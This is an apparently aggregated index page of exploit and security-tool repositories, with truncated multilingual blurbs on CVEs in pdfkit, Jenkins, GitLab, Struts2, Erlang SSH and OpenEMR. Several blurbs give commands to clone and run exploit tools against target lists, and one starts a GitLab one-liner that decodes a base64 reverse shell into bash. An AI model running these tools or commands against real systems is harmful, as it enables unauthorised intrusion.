CVE-2022-25765-exploit

CVE-2022-25765 — Injeção de Comandos no pdfkit Descrição CVE-2022-25765 é uma vulnerabilidade de injeção de comandos Command Injection que afeta o pdfkit Ruby gem nas versões 0.8.7.2. A vulnerabilidade tem severidade CRÍTICA com CVSS 9.8, pois permite execução remota de comandos sem autenticação....

CVE-2022-29464

CVE-2022-29464 LOADER Installieren und Ausführen der App auf dem Server root@kitploit: user@domain: pip3 install colored user@domain: git clone https://github.com/sh4den/CVE-2022-29464-loader.git user@domain: cd ./CVE-2022-29464-loader/ user@domain: python3 main.py Haftungsausschluss Dieses...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 iniezione di comandi. Il pacchetto pdfkit è vulnerabile a iniezione di comandi poiché l'URL non è adeguatamente sanificato. Nota: Questo problema è stato risolto nella versione 0.8.7.2, ma la patch si è rivelata inefficace. La versione aggiornata...

CVE-Requests-1896609

Richieste CVE 1896609 - feiskyer/mcp-kubernetes-server Riepilogo esecutivo Questo rapporto descrive due vulnerabilità di sicurezza critiche scoperte nel pacchetto feiskyer/mcp-kubernetes-server. Quando viene distribuito, il server espone uno strumento MCP chiamato kubectl, pensato per fornire un...

CVE-2024-23897

CVE-2024-23897 - Jenkins Tool zum Auslesen beliebiger Dateien Installation CVE-2024-23897 benötigt go 1.21 zur Installation. Führen Sie den folgenden Befehl aus: root@kitploit: go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest oder Die kompilierten Binärdateien können in relea...

CVE-2020-8250

CVE-2020-8250: Privilege Escalation durch Command Injection im Pulse Secure VPN Linux Client Das Root-SUID-Executable pulsesvc hat eine Funktion “doupload”, die die Umgebungsvariable “HOME” unsicher an “system” übergibt. Indem ein Angreifer die Variable “HOME” so verändert, dass sie spezielle...

browser-xpi-malware-scanner

XPI Analyzer — Scanner di Sicurezza per Estensioni Firefox Uno strumento da riga di comando che analizza i file di estensione di Firefox .xpi alla ricerca di segni di malware, offuscamento, payload nascosti, steganografia e altre tecniche utilizzate per introdurre codice malevolo oltre i team di...

wp2shell

wp2shell CVE-2026-63030 + CVE-2026-60137+poc Questa vulnerabilità non è molto facile da sfruttare. Comando di esecuzione dei comandi del database: SELECT GROUPCONCATSCHEMANAME FROM INFORMATIONSCHEMA.SCHEMATA Riferimento: https://github.com/Icex0/wp2shell-poc Però c'è un problema: l'aggiunta di...

CVE-2025-32433-Eploit

CVE-2025-32433-Eploit Erlang/OTP SSH vulnerabile a RCE pre-autenticazione Exploit RCE SSH Erlang Creazione di un payload SSH per eseguire un comando Erlang arbitrario sul server vulnerabile. Utilizzo: root@kitploit: python3 exploit.py -t targets.txt -p 2222 -o results.log Disclaimer: Questo...

CVE-2026-26833

CVE-2026-26833: Iniezione di comandi del sistema operativo in thumbler Riepilogo thumbler fino alla versione 1.1.2 consente l'iniezione di comandi del sistema operativo in thumbnail in lib/thumbler.js. Il pacchetto concatena i valori input, output, time e size in un'unica stringa di comando ffmpe...

CVE-2024-3094

CVE-2024-3094 Einfacher POC zum Testen der CVE-2024-3094-Sicherheitslücke in einem K8s-Cluster ❗ HAFTUNGSAUSSCHLUSS ❗ NUR ZU BILDUNGSZWECKEN – DER AUTOR ÜBERNIMMT KEINE HAFTUNG FÜR SCHÄDEN, DIE DURCH DIE NUTZUNG DIESER SOFTWARE ENTSTEHEN Beschreibung Wir werden einen verwundbaren Pod bereitstelle...

CVE-2022-47966

CVE-2022-47966 ManageEngine RCE 2022 Questo repository fa parte del hgrab-framework Installazione Installa l'app sul server root@kitploit: user@domain: git clone https://github.com/sh4den/CVE-2022-47966.git user@domain: cd ./CVE-2022-47966/ user@domain: python3 main.py Il file di lista deve...

CVE-2026-27626-PoC

CVE-2026-27626 — OliveTin Iniezione di comandi del sistema operativo PoC Riepilogo...

CVE-2020-17530

CVE-2020-17530 Vulnerabilidade de execução remota de comandos Struts2 S2-061 CVE-2020-17530 Instruções de uso: root@kitploit: python CVE-2020-17530.py -u url python CVE-2020-17530.py -f file.txt python CVE-2020-17530.py -f file.txt -o outfile.txt python CVE-2020-17530.py -f file.txt -p...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC bash su una singola riga per RCE pre-autenticazione di GitLab CVE-2021-22205 root@kitploit: t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2019-6446

CVE-2019-6446 Esecuzione di comandi tramite deserializzazione Numpy NumPy è una potente libreria Python, utilizzata principalmente per eseguire calcoli su array multidimensionali. L'analisi degli esperti indica che le versioni minori o uguali alla 1.16.0 presentano questa vulnerabilità; la...

CVE-2026-35196

CVE-2026-35196 · Chamilo LMS · Iniezione di Comandi di Sistema → RCE Ricercatore: K Tipo di Divulgazione: Divulgazione Responsabile Stato: Corretto Prodotto Interessato: Chamilo LMS 2.0 Confermato su v1.11.32 📋 Riepilogo della Vulnerabilità...

ttyd

ttyd - Condividi il tuo terminale sul web ttyd è un semplice strumento da riga di comando per condividere il terminale sul web. Caratteristiche Costruito su libuv e WebGL2 per la velocità Terminale completo con supporto CJK e IME Supporto per il trasferimento file ZMODEM lrzsz / trzsz Supporto pe...

CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0

CVE-2026-32238 - Execução Remota de Código no OpenEMR Fragilidade CWE-78 : Neutralização Incorreta de Elementos Especiais usados em um Comando do SO 'OS Command Injection' O produto constrói todo ou parte de um comando do SO usando entrada influenciada externamente de um componente a montante, ma...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OS-Befehlseinschleusung PoC English version Übersicht Dieses Repository enthält einen Proof of Concept PoC für die kritische OS-Befehlseinschleusungs-Schwachstelle CVE-2026-40176 , die im Perforce VCS-Treiber von Composer vorhanden ist. Die Schwachstelle betrifft...